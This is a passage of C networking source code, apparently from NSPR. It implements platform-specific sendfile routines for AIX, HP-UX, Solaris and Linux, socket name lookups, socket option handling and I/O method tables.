POLLIN | POLLPRI; bytes = pt_Continue(&op); syserrno = op.syserrno; } if (bytes >= 0) { #ifdef _PR_HAVE_SOCKADDR_LEN /* ignore the sa_len field of struct sockaddr */ if (addr) { addr->raw.family = ((struct sockaddr*)addr)->sa_family; } #endif /* _PR_HAVE_SOCKADDR_LEN */ #ifdef _PR_INET6 if (addr && (AF_INET6 == addr->raw.family)) addr->raw.family = PR_AF_INET6; #endif } else pt_MapError(_PR_MD_MAP_RECVFROM_ERROR, syserrno); return bytes; } /* pt_RecvFrom */ #ifdef AIX #ifndef HAVE_SEND_FILE static pthread_once_t pt_aix_sendfile_once_block = PTHREAD_ONCE_INIT; static void pt_aix_sendfile_init_routine(void) { void *handle = dlopen(NULL, RTLD_NOW | RTLD_GLOBAL); pt_aix_sendfile_fptr = (ssize_t (*)()) dlsym(handle, "send_file"); dlclose(handle); } /* * pt_AIXDispatchSendFile */ static PRInt32 pt_AIXDispatchSendFile(PRFileDesc *sd, PRSendFileData *sfd, PRTransmitFileFlags flags, PRIntervalTime timeout) { int rv; rv = pthread_once(&pt_aix_sendfile_once_block, pt_aix_sendfile_init_routine); PR_ASSERT(0 == rv); if (pt_aix_sendfile_fptr) { return pt_AIXSendFile(sd, sfd, flags, timeout); } else { return PR_EmulateSendFile(sd, sfd, flags, timeout); } } #endif /* !HAVE_SEND_FILE */ /* * pt_AIXSendFile * * Send file sfd->fd across socket sd. If specified, header and trailer * buffers are sent before and after the file, respectively. * * PR_TRANSMITFILE_CLOSE_SOCKET flag - close socket after sending file * * return number of bytes sent or -1 on error * * This implementation takes advantage of the send_file() system * call available in AIX 4.3.2. */ static PRInt32 pt_AIXSendFile(PRFileDesc *sd, PRSendFileData *sfd, PRTransmitFileFlags flags, PRIntervalTime timeout) { struct sf_parms sf_struct; uint_t send_flags; ssize_t rv; int syserrno; PRInt32 count; unsigned long long saved_file_offset; long long saved_file_bytes; sf_struct.header_data = (void *) sfd->header; /* cast away the 'const' */ sf_struct.header_length = sfd->hlen; sf_struct.file_descriptor = sfd->fd->secret->md.osfd; sf_struct.file_size = 0; sf_struct.file_offset = sfd->file_offset; if (sfd->file_nbytes == 0) sf_struct.file_bytes = -1; else sf_struct.file_bytes = sfd->file_nbytes; sf_struct.trailer_data = (void *) sfd->trailer; sf_struct.trailer_length = sfd->tlen; sf_struct.bytes_sent = 0; saved_file_offset = sf_struct.file_offset; saved_file_bytes = sf_struct.file_bytes; send_flags = 0; /* flags processed at the end */ /* The first argument to send_file() is int*. */ PR_ASSERT(sizeof(int) == sizeof(sd->secret->md.osfd)); do { rv = AIX_SEND_FILE(&sd->secret->md.osfd, &sf_struct, send_flags); } while (rv == -1 && (syserrno = errno) == EINTR); if (rv == -1) { if (syserrno == EAGAIN || syserrno == EWOULDBLOCK) { count = 0; /* Not a real error. Need to continue. */ } else { count = -1; } } else { count = sf_struct.bytes_sent; /* * A bug in AIX 4.3.2 prevents the 'file_bytes' field from * being updated. So, 'file_bytes' is maintained by NSPR to * avoid conflict when this bug is fixed in AIX, in the future. */ if (saved_file_bytes != -1) saved_file_bytes -= (sf_struct.file_offset - saved_file_offset); sf_struct.file_bytes = saved_file_bytes; } if ((rv == 1) || ((rv == -1) && (count == 0))) { pt_Continuation op; op.arg1.osfd = sd->secret->md.osfd; op.arg2.buffer = &sf_struct; op.arg4.flags = send_flags; op.result.code = count; op.timeout = timeout; op.function = pt_aix_sendfile_cont; op.event = POLLOUT | POLLPRI; count = pt_Continue(&op); syserrno = op.syserrno; } if (count == -1) { pt_MapError(_MD_aix_map_sendfile_error, syserrno); return -1; } if (flags & PR_TRANSMITFILE_CLOSE_SOCKET) { PR_Close(sd); } PR_ASSERT(count == (sfd->hlen + sfd->tlen + ((sfd->file_nbytes == 0) ? sf_struct.file_size - sfd->file_offset : sfd->file_nbytes))); return count; } #endif /* AIX */ #ifdef HPUX11 /* * pt_HPUXSendFile * * Send file sfd->fd across socket sd. If specified, header and trailer * buffers are sent before and after the file, respectively. * * PR_TRANSMITFILE_CLOSE_SOCKET flag - close socket after sending file * * return number of bytes sent or -1 on error * * This implementation takes advantage of the sendfile() system * call available in HP-UX B.11.00. */ static PRInt32 pt_HPUXSendFile(PRFileDesc *sd, PRSendFileData *sfd, PRTransmitFileFlags flags, PRIntervalTime timeout) { struct stat statbuf; size_t nbytes_to_send, file_nbytes_to_send; struct iovec hdtrl[2]; /* optional header and trailer buffers */ int send_flags; PRInt32 count; int syserrno; if (sfd->file_nbytes == 0) { /* Get file size */ if (fstat(sfd->fd->secret->md.osfd, &statbuf) == -1) { _PR_MD_MAP_FSTAT_ERROR(errno); return -1; } file_nbytes_to_send = statbuf.st_size - sfd->file_offset; } else { file_nbytes_to_send = sfd->file_nbytes; } nbytes_to_send = sfd->hlen + sfd->tlen + file_nbytes_to_send; hdtrl[0].iov_base = (void *) sfd->header; /* cast away the 'const' */ hdtrl[0].iov_len = sfd->hlen; hdtrl[1].iov_base = (void *) sfd->trailer; hdtrl[1].iov_len = sfd->tlen; /* * SF_DISCONNECT seems to close the socket even if sendfile() * only does a partial send on a nonblocking socket. This * would prevent the subsequent sendfile() calls on that socket * from working. So we don't use the SD_DISCONNECT flag. */ send_flags = 0; do { count = sendfile(sd->secret->md.osfd, sfd->fd->secret->md.osfd, sfd->file_offset, file_nbytes_to_send, hdtrl, send_flags); } while (count == -1 && (syserrno = errno) == EINTR); if (count == -1 && (syserrno == EAGAIN || syserrno == EWOULDBLOCK)) { count = 0; } if (count != -1 && count < nbytes_to_send) { pt_Continuation op; if (count < sfd->hlen) { /* header not sent */ hdtrl[0].iov_base = ((char *) sfd->header) + count; hdtrl[0].iov_len = sfd->hlen - count; op.arg3.file_spec.offset = sfd->file_offset; op.arg3.file_spec.nbytes = file_nbytes_to_send; } else if (count < (sfd->hlen + file_nbytes_to_send)) { /* header sent, file not sent */ hdtrl[0].iov_base = NULL; hdtrl[0].iov_len = 0; op.arg3.file_spec.offset = sfd->file_offset + count - sfd->hlen; op.arg3.file_spec.nbytes = file_nbytes_to_send - (count - sfd->hlen); } else if (count < (sfd->hlen + file_nbytes_to_send + sfd->tlen)) { PRUint32 trailer_nbytes_sent; /* header sent, file sent, trailer not sent */ hdtrl[0].iov_base = NULL; hdtrl[0].iov_len = 0; /* * set file offset and len so that no more file data is * sent */ op.arg3.file_spec.offset = statbuf.st_size; op.arg3.file_spec.nbytes = 0; trailer_nbytes_sent = count - sfd->hlen - file_nbytes_to_send; hdtrl[1].iov_base = ((char *) sfd->trailer) + trailer_nbytes_sent; hdtrl[1].iov_len = sfd->tlen - trailer_nbytes_sent; } op.arg1.osfd = sd->secret->md.osfd; op.filedesc = sfd->fd->secret->md.osfd; op.arg2.buffer = hdtrl; op.arg3.file_spec.st_size = statbuf.st_size; op.arg4.flags = send_flags; op.nbytes_to_send = nbytes_to_send - count; op.result.code = count; op.timeout = timeout; op.function = pt_hpux_sendfile_cont; op.event = POLLOUT | POLLPRI; count = pt_Continue(&op); syserrno = op.syserrno; } if (count == -1) { pt_MapError(_MD_hpux_map_sendfile_error, syserrno); return -1; } if (flags & PR_TRANSMITFILE_CLOSE_SOCKET) { PR_Close(sd); } PR_ASSERT(count == nbytes_to_send); return count; } #endif /* HPUX11 */ #ifdef SOLARIS /* * pt_SolarisSendFile * * Send file sfd->fd across socket sd. If specified, header and trailer * buffers are sent before and after the file, respectively. * * PR_TRANSMITFILE_CLOSE_SOCKET flag - close socket after sending file * * return number of bytes sent or -1 on error * * This implementation takes advantage of the sendfilev() system * call available in Solaris 8. */ static PRInt32 pt_SolarisSendFile(PRFileDesc *sd, PRSendFileData *sfd, PRTransmitFileFlags flags, PRIntervalTime timeout) { struct stat statbuf; size_t nbytes_to_send, file_nbytes_to_send; struct sendfilevec sfv_struct[3]; int sfvcnt = 0; size_t xferred; PRInt32 count; int syserrno; if (sfd->file_nbytes == 0) { /* Get file size */ if (fstat(sfd->fd->secret->md.osfd, &statbuf) == -1) { _PR_MD_MAP_FSTAT_ERROR(errno); return -1; } file_nbytes_to_send = statbuf.st_size - sfd->file_offset; } else { file_nbytes_to_send = sfd->file_nbytes; } nbytes_to_send = sfd->hlen + sfd->tlen + file_nbytes_to_send; if (sfd->hlen != 0) { sfv_struct[sfvcnt].sfv_fd = SFV_FD_SELF; sfv_struct[sfvcnt].sfv_flag = 0; sfv_struct[sfvcnt].sfv_off = (off_t) sfd->header; sfv_struct[sfvcnt].sfv_len = sfd->hlen; sfvcnt++; } if (file_nbytes_to_send != 0) { sfv_struct[sfvcnt].sfv_fd = sfd->fd->secret->md.osfd; sfv_struct[sfvcnt].sfv_flag = 0; sfv_struct[sfvcnt].sfv_off = sfd->file_offset; sfv_struct[sfvcnt].sfv_len = file_nbytes_to_send; sfvcnt++; } if (sfd->tlen != 0) { sfv_struct[sfvcnt].sfv_fd = SFV_FD_SELF; sfv_struct[sfvcnt].sfv_flag = 0; sfv_struct[sfvcnt].sfv_off = (off_t) sfd->trailer; sfv_struct[sfvcnt].sfv_len = sfd->tlen; sfvcnt++; } if (0 == sfvcnt) { count = 0; goto done; } /* * Strictly speaking, we may have sent some bytes when the * sendfilev() is interrupted and we should retry it from an * updated offset. We are not doing that here. */ count = SOLARIS_SENDFILEV(sd->secret->md.osfd, sfv_struct, sfvcnt, &xferred); PR_ASSERT((count == -1) || (count == xferred)); if (count == -1) { syserrno = errno; if (syserrno == EINTR || syserrno == EAGAIN || syserrno == EWOULDBLOCK) { count = xferred; } } else if (count == 0) { /* * We are now at EOF. The file was truncated. Solaris sendfile is * supposed to return 0 and no error in this case, though some versions * may return -1 and EINVAL . */ count = -1; syserrno = 0; /* will be treated as EOF */ } if (count != -1 && count < nbytes_to_send) { pt_Continuation op; struct sendfilevec *vec = sfv_struct; PRInt32 rem = count; while (rem >= vec->sfv_len) { rem -= vec->sfv_len; vec++; sfvcnt--; } PR_ASSERT(sfvcnt > 0); vec->sfv_off += rem; vec->sfv_len -= rem; PR_ASSERT(vec->sfv_len > 0); op.arg1.osfd = sd->secret->md.osfd; op.arg2.buffer = vec; op.arg3.amount = sfvcnt; op.arg4.flags = 0; op.nbytes_to_send = nbytes_to_send - count; op.result.code = count; op.timeout = timeout; op.function = pt_solaris_sendfile_cont; op.event = POLLOUT | POLLPRI; count = pt_Continue(&op); syserrno = op.syserrno; } done: if (count == -1) { pt_MapError(_MD_solaris_map_sendfile_error, syserrno); return -1; } if (flags & PR_TRANSMITFILE_CLOSE_SOCKET) { PR_Close(sd); } PR_ASSERT(count == nbytes_to_send); return count; } #ifndef HAVE_SENDFILEV static pthread_once_t pt_solaris_sendfilev_once_block = PTHREAD_ONCE_INIT; static void pt_solaris_sendfilev_init_routine(void) { void *handle; PRBool close_it = PR_FALSE; /* * We do not want to unload libsendfile.so. This handle is leaked * intentionally. */ handle = dlopen("libsendfile.so", RTLD_LAZY | RTLD_GLOBAL); PR_LOG(_pr_io_lm, PR_LOG_DEBUG, ("dlopen(libsendfile.so) returns %p", handle)); if (NULL == handle) { /* * The dlopen(0, mode) call is to allow for the possibility that * sendfilev() may become part of a standard system library in a * future Solaris release. */ handle = dlopen(0, RTLD_LAZY | RTLD_GLOBAL); PR_LOG(_pr_io_lm, PR_LOG_DEBUG, ("dlopen(0) returns %p", handle)); close_it = PR_TRUE; } pt_solaris_sendfilev_fptr = (ssize_t (*)()) dlsym(handle, "sendfilev"); PR_LOG(_pr_io_lm, PR_LOG_DEBUG, ("dlsym(sendfilev) returns %p", pt_solaris_sendfilev_fptr)); if (close_it) { dlclose(handle); } } /* * pt_SolarisDispatchSendFile */ static PRInt32 pt_SolarisDispatchSendFile(PRFileDesc *sd, PRSendFileData *sfd, PRTransmitFileFlags flags, PRIntervalTime timeout) { int rv; rv = pthread_once(&pt_solaris_sendfilev_once_block, pt_solaris_sendfilev_init_routine); PR_ASSERT(0 == rv); if (pt_solaris_sendfilev_fptr) { return pt_SolarisSendFile(sd, sfd, flags, timeout); } else { return PR_EmulateSendFile(sd, sfd, flags, timeout); } } #endif /* !HAVE_SENDFILEV */ #endif /* SOLARIS */ #ifdef LINUX /* * pt_LinuxSendFile * * Send file sfd->fd across socket sd. If specified, header and trailer * buffers are sent before and after the file, respectively. * * PR_TRANSMITFILE_CLOSE_SOCKET flag - close socket after sending file * * return number of bytes sent or -1 on error * * This implementation takes advantage of the sendfile() system * call available in Linux kernel 2.2 or higher. */ static PRInt32 pt_LinuxSendFile(PRFileDesc *sd, PRSendFileData *sfd, PRTransmitFileFlags flags, PRIntervalTime timeout) { struct stat statbuf; size_t file_nbytes_to_send; PRInt32 count = 0; ssize_t rv; int syserrno; off_t offset; PRBool tcp_cork_enabled = PR_FALSE; int tcp_cork; if (sfd->file_nbytes == 0) { /* Get file size */ if (fstat(sfd->fd->secret->md.osfd, &statbuf) == -1) { _PR_MD_MAP_FSTAT_ERROR(errno); return -1; } file_nbytes_to_send = statbuf.st_size - sfd->file_offset; } else { file_nbytes_to_send = sfd->file_nbytes; } if ((sfd->hlen != 0 || sfd->tlen != 0) && sd->secret->md.tcp_nodelay == 0) { tcp_cork = 1; if (setsockopt(sd->secret->md.osfd, SOL_TCP, TCP_CORK, &tcp_cork, sizeof tcp_cork) == 0) { tcp_cork_enabled = PR_TRUE; } else { syserrno = errno; if (syserrno != EINVAL) { _PR_MD_MAP_SETSOCKOPT_ERROR(syserrno); return -1; } /* * The most likely reason for the EINVAL error is that * TCP_NODELAY is set (with a function other than * PR_SetSocketOption). This is not fatal, so we keep * on going. */ PR_LOG(_pr_io_lm, PR_LOG_WARNING, ("pt_LinuxSendFile: " "setsockopt(TCP_CORK) failed with EINVAL\n")); } } if (sfd->hlen != 0) { count = PR_Send(sd, sfd->header, sfd->hlen, 0, timeout); if (count == -1) { goto failed; } } if (file_nbytes_to_send != 0) { offset = sfd->file_offset; do { rv = sendfile(sd->secret->md.osfd, sfd->fd->secret->md.osfd, &offset, file_nbytes_to_send); } while (rv == -1 && (syserrno = errno) == EINTR); if (rv == -1) { if (syserrno != EAGAIN && syserrno != EWOULDBLOCK) { _MD_linux_map_sendfile_error(syserrno); count = -1; goto failed; } rv = 0; } PR_ASSERT(rv == offset - sfd->file_offset); count += rv; if (rv < file_nbytes_to_send) { pt_Continuation op; op.arg1.osfd = sd->secret->md.osfd; op.in_fd = sfd->fd->secret->md.osfd; op.offset = offset; op.count = file_nbytes_to_send - rv; op.result.code = count; op.timeout = timeout; op.function = pt_linux_sendfile_cont; op.event = POLLOUT | POLLPRI; count = pt_Continue(&op); syserrno = op.syserrno; if (count == -1) { pt_MapError(_MD_linux_map_sendfile_error, syserrno); goto failed; } } } if (sfd->tlen != 0) { rv = PR_Send(sd, sfd->trailer, sfd->tlen, 0, timeout); if (rv == -1) { count = -1; goto failed; } count += rv; } failed: if (tcp_cork_enabled) { tcp_cork = 0; if (setsockopt(sd->secret->md.osfd, SOL_TCP, TCP_CORK, &tcp_cork, sizeof tcp_cork) == -1 && count != -1) { _PR_MD_MAP_SETSOCKOPT_ERROR(errno); count = -1; } } if (count != -1) { if (flags & PR_TRANSMITFILE_CLOSE_SOCKET) { PR_Close(sd); } PR_ASSERT(count == sfd->hlen + sfd->tlen + file_nbytes_to_send); } return count; } #endif /* LINUX */ #ifdef AIX extern int _pr_aix_send_file_use_disabled; #endif static PRInt32 pt_SendFile( PRFileDesc *sd, PRSendFileData *sfd, PRTransmitFileFlags flags, PRIntervalTime timeout) { if (pt_TestAbort()) return -1; /* The socket must be in blocking mode. */ if (sd->secret->nonblocking) { PR_SetError(PR_INVALID_ARGUMENT_ERROR, 0); return -1; } #ifdef HPUX11 return(pt_HPUXSendFile(sd, sfd, flags, timeout)); #elif defined(AIX) #ifdef HAVE_SEND_FILE /* * A bug in AIX 4.3.2 results in corruption of data transferred by * send_file(); AIX patch PTF U463956 contains the fix. A user can * disable the use of send_file function in NSPR, when this patch is * not installed on the system, by setting the envionment variable * NSPR_AIX_SEND_FILE_USE_DISABLED to 1. */ if (_pr_aix_send_file_use_disabled) return(PR_EmulateSendFile(sd, sfd, flags, timeout)); else return(pt_AIXSendFile(sd, sfd, flags, timeout)); #else return(PR_EmulateSendFile(sd, sfd, flags, timeout)); /* return(pt_AIXDispatchSendFile(sd, sfd, flags, timeout));*/ #endif /* HAVE_SEND_FILE */ #elif defined(SOLARIS) #ifdef HAVE_SENDFILEV return(pt_SolarisSendFile(sd, sfd, flags, timeout)); #else return(pt_SolarisDispatchSendFile(sd, sfd, flags, timeout)); #endif /* HAVE_SENDFILEV */ #elif defined(LINUX) return(pt_LinuxSendFile(sd, sfd, flags, timeout)); #else return(PR_EmulateSendFile(sd, sfd, flags, timeout)); #endif } static PRInt32 pt_TransmitFile( PRFileDesc *sd, PRFileDesc *fd, const void *headers, PRInt32 hlen, PRTransmitFileFlags flags, PRIntervalTime timeout) { PRSendFileData sfd; sfd.fd = fd; sfd.file_offset = 0; sfd.file_nbytes = 0; sfd.header = headers; sfd.hlen = hlen; sfd.trailer = NULL; sfd.tlen = 0; return(pt_SendFile(sd, &sfd, flags, timeout)); } /* pt_TransmitFile */ static PRInt32 pt_AcceptRead( PRFileDesc *sd, PRFileDesc **nd, PRNetAddr **raddr, void *buf, PRInt32 amount, PRIntervalTime timeout) { PRInt32 rv = -1; if (pt_TestAbort()) return rv; /* The socket must be in blocking mode. */ if (sd->secret->nonblocking) { PR_SetError(PR_INVALID_ARGUMENT_ERROR, 0); return rv; } rv = PR_EmulateAcceptRead(sd, nd, raddr, buf, amount, timeout); return rv; } /* pt_AcceptRead */ static PRStatus pt_GetSockName(PRFileDesc *fd, PRNetAddr *addr) { PRIntn rv = -1; pt_SockLen addr_len = sizeof(PRNetAddr); if (pt_TestAbort()) return PR_FAILURE; rv = getsockname( fd->secret->md.osfd, (struct sockaddr*)addr, &addr_len); if (rv == -1) { pt_MapError(_PR_MD_MAP_GETSOCKNAME_ERROR, errno); return PR_FAILURE; } else { #ifdef _PR_HAVE_SOCKADDR_LEN /* ignore the sa_len field of struct sockaddr */ if (addr) { addr->raw.family = ((struct sockaddr*)addr)->sa_family; } #endif /* _PR_HAVE_SOCKADDR_LEN */ #ifdef _PR_INET6 if (AF_INET6 == addr->raw.family) addr->raw.family = PR_AF_INET6; #endif PR_ASSERT(IsValidNetAddr(addr) == PR_TRUE); PR_ASSERT(IsValidNetAddrLen(addr, addr_len) == PR_TRUE); return PR_SUCCESS; } } /* pt_GetSockName */ static PRStatus pt_GetPeerName(PRFileDesc *fd, PRNetAddr *addr) { PRIntn rv = -1; pt_SockLen addr_len = sizeof(PRNetAddr); if (pt_TestAbort()) return PR_FAILURE; rv = getpeername( fd->secret->md.osfd, (struct sockaddr*)addr, &addr_len); if (rv == -1) { pt_MapError(_PR_MD_MAP_GETPEERNAME_ERROR, errno); return PR_FAILURE; } else { #ifdef _PR_HAVE_SOCKADDR_LEN /* ignore the sa_len field of struct sockaddr */ if (addr) { addr->raw.family = ((struct sockaddr*)addr)->sa_family; } #endif /* _PR_HAVE_SOCKADDR_LEN */ #ifdef _PR_INET6 if (AF_INET6 == addr->raw.family) addr->raw.family = PR_AF_INET6; #endif PR_ASSERT(IsValidNetAddr(addr) == PR_TRUE); PR_ASSERT(IsValidNetAddrLen(addr, addr_len) == PR_TRUE); return PR_SUCCESS; } } /* pt_GetPeerName */ static PRStatus pt_GetSocketOption(PRFileDesc *fd, PRSocketOptionData *data) { PRIntn rv; pt_SockLen length; PRInt32 level, name; /* * PR_SockOpt_Nonblocking is a special case that does not * translate to a getsockopt() call */ if (PR_SockOpt_Nonblocking == data->option) { data->value.non_blocking = fd->secret->nonblocking; return PR_SUCCESS; } rv = _PR_MapOptionName(data->option, &level, &name); if (PR_SUCCESS == rv) { switch (data->option) { case PR_SockOpt_Linger: { struct linger linger; length = sizeof(linger); rv = getsockopt( fd->secret->md.osfd, level, name, (char *) &linger, &length); PR_ASSERT((-1 == rv) || (sizeof(linger) == length)); data->value.linger.polarity = (linger.l_onoff) ? PR_TRUE : PR_FALSE; data->value.linger.linger = PR_SecondsToInterval(linger.l_linger); break; } case PR_SockOpt_Reuseaddr: case PR_SockOpt_Keepalive: case PR_SockOpt_NoDelay: case PR_SockOpt_Broadcast: { PRIntn value; length = sizeof(PRIntn); rv = getsockopt( fd->secret->md.osfd, level, name, (char*)&value, &length); PR_ASSERT((-1 == rv) || (sizeof(PRIntn) == length)); data->value.reuse_addr = (0 == value) ? PR_FALSE : PR_TRUE; break; } case PR_SockOpt_McastLoopback: { PRUint8 xbool; length = sizeof(xbool); rv = getsockopt( fd->secret->md.osfd, level, name, (char*)&xbool, &length); PR_ASSERT((-1 == rv) || (sizeof(xbool) == length)); data->value.mcast_loopback = (0 == xbool) ? PR_FALSE : PR_TRUE; break; } case PR_SockOpt_RecvBufferSize: case PR_SockOpt_SendBufferSize: case PR_SockOpt_MaxSegment: { PRIntn value; length = sizeof(PRIntn); rv = getsockopt( fd->secret->md.osfd, level, name, (char*)&value, &length); PR_ASSERT((-1 == rv) || (sizeof(PRIntn) == length)); data->value.recv_buffer_size = value; break; } case PR_SockOpt_IpTimeToLive: case PR_SockOpt_IpTypeOfService: { length = sizeof(PRUintn); rv = getsockopt( fd->secret->md.osfd, level, name, (char*)&data->value.ip_ttl, &length); PR_ASSERT((-1 == rv) || (sizeof(PRIntn) == length)); break; } case PR_SockOpt_McastTimeToLive: { PRUint8 ttl; length = sizeof(ttl); rv = getsockopt( fd->secret->md.osfd, level, name, (char*)&ttl, &length); PR_ASSERT((-1 == rv) || (sizeof(ttl) == length)); data->value.mcast_ttl = ttl; break; } case PR_SockOpt_AddMember: case PR_SockOpt_DropMember: { struct ip_mreq mreq; length = sizeof(mreq); rv = getsockopt( fd->secret->md.osfd, level, name, (char*)&mreq, &length); PR_ASSERT((-1 == rv) || (sizeof(mreq) == length)); data->value.add_member.mcaddr.inet.ip = mreq.imr_multiaddr.s_addr; data->value.add_member.ifaddr.inet.ip = mreq.imr_interface.s_addr; break; } case PR_SockOpt_McastInterface: { length = sizeof(data->value.mcast_if.inet.ip); rv = getsockopt( fd->secret->md.osfd, level, name, (char*)&data->value.mcast_if.inet.ip, &length); PR_ASSERT((-1 == rv) || (sizeof(data->value.mcast_if.inet.ip) == length)); break; } default: PR_NOT_REACHED("Unknown socket option"); break; } if (-1 == rv) _PR_MD_MAP_GETSOCKOPT_ERROR(errno); } return (-1 == rv) ? PR_FAILURE : PR_SUCCESS; } /* pt_GetSocketOption */ static PRStatus pt_SetSocketOption(PRFileDesc *fd, const PRSocketOptionData *data) { PRIntn rv; PRInt32 level, name; /* * PR_SockOpt_Nonblocking is a special case that does not * translate to a setsockopt call. */ if (PR_SockOpt_Nonblocking == data->option) { fd->secret->nonblocking = data->value.non_blocking; return PR_SUCCESS; } rv = _PR_MapOptionName(data->option, &level, &name); if (PR_SUCCESS == rv) { switch (data->option) { case PR_SockOpt_Linger: { struct linger linger; linger.l_onoff = data->value.linger.polarity; linger.l_linger = PR_IntervalToSeconds(data->value.linger.linger); rv = setsockopt( fd->secret->md.osfd, level, name, (char*)&linger, sizeof(linger)); break; } case PR_SockOpt_Reuseaddr: case PR_SockOpt_Keepalive: case PR_SockOpt_NoDelay: case PR_SockOpt_Broadcast: { PRIntn value = (data->value.reuse_addr) ? 1 : 0; rv = setsockopt( fd->secret->md.osfd, level, name, (char*)&value, sizeof(PRIntn)); #ifdef LINUX /* for pt_LinuxSendFile */ if (name == TCP_NODELAY && rv == 0) { fd->secret->md.tcp_nodelay = value; } #endif break; } case PR_SockOpt_McastLoopback: { PRUint8 xbool = data->value.mcast_loopback ? 1 : 0; rv = setsockopt( fd->secret->md.osfd, level, name, (char*)&xbool, sizeof(xbool)); break; } case PR_SockOpt_RecvBufferSize: case PR_SockOpt_SendBufferSize: case PR_SockOpt_MaxSegment: { PRIntn value = data->value.recv_buffer_size; rv = setsockopt( fd->secret->md.osfd, level, name, (char*)&value, sizeof(PRIntn)); break; } case PR_SockOpt_IpTimeToLive: case PR_SockOpt_IpTypeOfService: { rv = setsockopt( fd->secret->md.osfd, level, name, (char*)&data->value.ip_ttl, sizeof(PRUintn)); break; } case PR_SockOpt_McastTimeToLive: { PRUint8 ttl = data->value.mcast_ttl; rv = setsockopt( fd->secret->md.osfd, level, name, (char*)&ttl, sizeof(ttl)); break; } case PR_SockOpt_AddMember: case PR_SockOpt_DropMember: { struct ip_mreq mreq; mreq.imr_multiaddr.s_addr = data->value.add_member.mcaddr.inet.ip; mreq.imr_interface.s_addr = data->value.add_member.ifaddr.inet.ip; rv = setsockopt( fd->secret->md.osfd, level, name, (char*)&mreq, sizeof(mreq)); break; } case PR_SockOpt_McastInterface: { rv = setsockopt( fd->secret->md.osfd, level, name, (char*)&data->value.mcast_if.inet.ip, sizeof(data->value.mcast_if.inet.ip)); break; } default: PR_NOT_REACHED("Unknown socket option"); break; } if (-1 == rv) _PR_MD_MAP_SETSOCKOPT_ERROR(errno); } return (-1 == rv) ? PR_FAILURE : PR_SUCCESS; } /* pt_SetSocketOption */ /*****************************************************************************/ /****************************** I/O method objects ***************************/ /*****************************************************************************/ static PRIOMethods _pr_file_methods = { PR_DESC_FILE, pt_Close, pt_Read, pt_Write, pt_Available_f, pt_Available64_f, pt_Fsync, pt_Seek, pt_Seek64, pt_FileInfo, pt_FileInfo64, (PRWritevFN)_PR_InvalidInt, (PRConnectFN)_PR_InvalidStatus, (PRAcceptFN)_PR_InvalidDesc, (PRBindFN)_PR_InvalidStatus, (PRListenFN)_PR_InvalidStatus, (PRShutdownFN)_PR_InvalidStatus, (PRRecvFN)_PR_InvalidInt, (PRSendFN)_PR_InvalidInt, (PRRecvfromFN)_PR_InvalidInt, (PRSendtoFN)_PR_InvalidInt, pt_Poll, (PRAcceptreadFN)_PR_InvalidInt, (PRTransmitfileFN)_PR_InvalidInt, (PRGetsocknameFN)_PR_InvalidStatus, (PRGetpeernameFN)_PR_InvalidStatus, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRGetsocketoptionFN)_PR_InvalidStatus, (PRSetsocketoptionFN)_PR_InvalidStatus, (PRSendfileFN)_PR_InvalidInt, (PRConnectcontinueFN)_PR_InvalidStatus, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt }; static PRIOMethods _pr_pipe_methods = { PR_DESC_PIPE, pt_Close, pt_Read, pt_Write, pt_Available_s, pt_Available64_s, pt_Synch, (PRSeekFN)_PR_InvalidInt, (PRSeek64FN)_PR_InvalidInt64, (PRFileInfoFN)_PR_InvalidStatus, (PRFileInfo64FN)_PR_InvalidStatus, (PRWritevFN)_PR_InvalidInt, (PRConnectFN)_PR_InvalidStatus, (PRAcceptFN)_PR_InvalidDesc, (PRBindFN)_PR_InvalidStatus, (PRListenFN)_PR_InvalidStatus, (PRShutdownFN)_PR_InvalidStatus, (PRRecvFN)_PR_InvalidInt, (PRSendFN)_PR_InvalidInt, (PRRecvfromFN)_PR_InvalidInt, (PRSendtoFN)_PR_InvalidInt, pt_Poll, (PRAcceptreadFN)_PR_InvalidInt, (PRTransmitfileFN)_PR_InvalidInt, (PRGetsocknameFN)_PR_InvalidStatus, (PRGetpeernameFN)_PR_InvalidStatus, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRGetsocketoptionFN)_PR_InvalidStatus, (PRSetsocketoptionFN)_PR_InvalidStatus, (PRSendfileFN)_PR_InvalidInt, (PRConnectcontinueFN)_PR_InvalidStatus, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt }; static PRIOMethods _pr_tcp_methods = { PR_DESC_SOCKET_TCP, pt_Close, pt_SocketRead, pt_SocketWrite, pt_Available_s, pt_Available64_s, pt_Synch, (PRSeekFN)_PR_InvalidInt, (PRSeek64FN)_PR_InvalidInt64, (PRFileInfoFN)_PR_InvalidStatus, (PRFileInfo64FN)_PR_InvalidStatus, pt_Writev, pt_Connect, pt_Accept, pt_Bind, pt_Listen, pt_Shutdown, pt_Recv, pt_Send, (PRRecvfromFN)_PR_InvalidInt, (PRSendtoFN)_PR_InvalidInt, pt_Poll, pt_AcceptRead, pt_TransmitFile, pt_GetSockName, pt_GetPeerName, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, pt_GetSocketOption, pt_SetSocketOption, pt_SendFile, pt_ConnectContinue, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt }; static PRIOMethods _pr_udp_methods = { PR_DESC_SOCKET_UDP, pt_Close, pt_SocketRead, pt_SocketWrite, pt_Available_s, pt_Available64_s, pt_Synch, (PRSeekFN)_PR_InvalidInt, (PRSeek64FN)_PR_InvalidInt64, (PRFileInfoFN)_PR_InvalidStatus, (PRFileInfo64FN)_PR_InvalidStatus, pt_Writev, pt_Connect, (PRAcceptFN)_PR_InvalidDesc, pt_Bind, pt_Listen, pt_Shutdown, pt_Recv, pt_Send, pt_RecvFrom, pt_SendTo, pt_Poll, (PRAcceptreadFN)_PR_InvalidInt, (PRTransmitfileFN)_PR_InvalidInt, pt_GetSockName, pt_GetPeerName, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, pt_GetSocketOption, pt_SetSocketOption, (PRSendfileFN)_PR_InvalidInt, (PRConnectcontinueFN)_PR_InvalidStatus, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt, (PRReservedFN)_PR_InvalidInt 